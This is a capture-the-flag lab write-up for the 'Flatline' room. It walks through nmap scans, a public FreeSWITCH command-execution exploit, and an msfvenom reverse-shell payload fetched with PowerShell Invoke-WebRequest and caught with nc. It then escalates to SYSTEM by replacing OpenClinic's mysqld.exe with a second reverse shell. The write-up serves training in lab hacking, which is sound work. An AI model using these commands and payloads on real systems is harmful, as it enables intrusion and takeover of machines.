Field notes
CTF : Flatline
Informations
- IP: 10.10.122.197
- MYIP: 10.8.98.126
First enumeration
Basics
- NMAP
sudo nmap -Pn -p- 10.10.122.197
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 13:37 CEST
Nmap scan report for 10.10.122.197
Host is up (0.041s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
3389/tcp open ms-wbt-server
8021/tcp open ftp-proxy
sudo nmap -Pn -p3389,8021 -A 10.10.122.197
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 13:40 CEST
Nmap scan report for 10.10.122.197
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-EOM4PK0578N
| Not valid before: 2022-05-28T11:25:23
|_Not valid after: 2022-11-27T11:25:23
|_ssl-date: 2022-05-29T11:40:55+00:00; +1s from scanner time.
| rdp-ntlm-info:
| Target_Name: WIN-EOM4PK0578N
| NetBIOS_Domain_Name: WIN-EOM4PK0578N
| NetBIOS_Computer_Name: WIN-EOM4PK0578N
| DNS_Domain_Name: WIN-EOM4PK0578N
| DNS_Computer_Name: WIN-EOM4PK0578N
| Product_Version: 10.0.17763
|_ System_Time: 2022-05-29T11:40:54+00:00
8021/tcp open freeswitch-event FreeSWITCH mod_event_socket
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized
Running (JUST GUESSING): AVtech embedded (87%)
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 36.35 ms 10.8.0.1
2 36.74 ms 10.10.122.197
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds
Vulnerabilities search
Ok so it seems to be a windows host.
There are two open ports, let's see if we find anything usefull...
searchsploit freeswitch
------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------- ---------------------------------
FreeSWITCH - Event Socket Command Execution (Metasploit) | multiple/remote/47698.rb
FreeSWITCH 1.10.1 - Command Execution | windows/remote/47799.txt
------------------------------------------------------------------------------------- ---------------------------------
Let's try the second one :
searchsploit -m windows/remote/47799.txt
Exploit: FreeSWITCH 1.10.1 - Command Execution
URL: https://www.exploit-db.com/exploits/47799
Path: /usr/share/exploitdb/exploits/windows/remote/47799.txt
File Type: Python script, ASCII text executable
Copied to: /home/boula/CTF/flatline/47799.txt
mv 47799.txt freeswitch-exploit.py
Now we can test the script :
python3 freeswitch-exploit.py 10.10.122.197 whoami
Authenticated
Content-Type: api/response
Content-Length: 25
win-eom4pk0578n\nekrotic
It seems to work !
Exploit
It would be great to have a reverse shell. After trying some onlie code, I tried msfvenom :
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.98.126 LPORT=1234 -f exe > shell.exe
Now we need to upload the shell to the remote host.
So I set a basic http server :
python3 -m http.server
Now I can use the exploit to call powershell and connect to my http server to download shell.exe
python3 exploit.py 10.10.122.197 "powershell.exe Invoke-WebRequest -Uri http://10.8.98.126:8000/shell.exe -OutFile shell.exe"
Then I can use nc on my box :
nc -nlvp 1234
After that I can invoke shell.exe on the target side
python3 freeswitch-exploit.py 10.10.122.197 '.\shell.exe'
And we got a shell :)
Privilege escalation
Enumeration for privesc
First we go to c:\users\Nekrotic\Desktop to get the user flag
type c:\Users\Nekrotic\Desktop\user.txt
THM{****}
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Now we have to find how to privesc...
I download winpeas.bat and upload it to the target to find informations :
c:\> powershell.exe Invoke-WebRequest -Uri http://10.8.98.126:8000/winpeas.bat -OutFile .\winpeas.bat
c:\> .\winpeas.bat
Dawned the script never finished...
So let's dig manually :)
There is a "projects" dir in c:\ with a sub dir called openclinic.
searchsploit openclinic
------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------- ---------------------------------
OpenClinic GA 5.194.18 - Local Privilege Escalation | windows/local/50448.txt
------------------------------------------------------------------------------------- ---------------------------------
searchsploit -m windows/local/50448.txt
Exploit: OpenClinic GA 5.194.18 - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/50448
Path: /usr/share/exploitdb/exploits/windows/local/50448.txt
File Type: ASCII text
Copied to: /home/boula/CTF/flatline/50448.txt
cat 50448.txt
[...]
# Details
# By default the Authenticated Users group has the modify permission to openclinic folders/files as shown below.
# A low privilege account is able to rename mysqld.exe or tomcat8.exe files located in bin folders and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.
[...]
So basicaly we could generate another reverse shell with msfvenom and replace mysqld.exe with the malicious one... Let's do that !
Exploit
On target side
cd c:\projects\openclinic\mariadb\bin
ren mysqld.exe mysqld.exe.old
powershell.exe Invoke-WebRequest -Uri http://10.8.98.126:8000/mysqld.exe -OutFile .\mysqld.exe
Here we are now we just have to listen for an incomming connection after reboot the target :
shutdown /r /t 1
Now we have to wait...
Yes ! After a few wait I receive an incomming connection :
nc -nlvp 1235
listening on [any] 1235 ...
connect to [10.8.98.126] from (UNKNOWN) [10.10.122.197] 49670
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
Now we just have to go to nekrotic Desktop dir and read root.txt :)
C:\Windows\system32>type c:\users\nekrotic\desktop\root.txt
type c:\users\nekrotic\desktop\root.txt
THM{****}
C:\Windows\system32>
\o/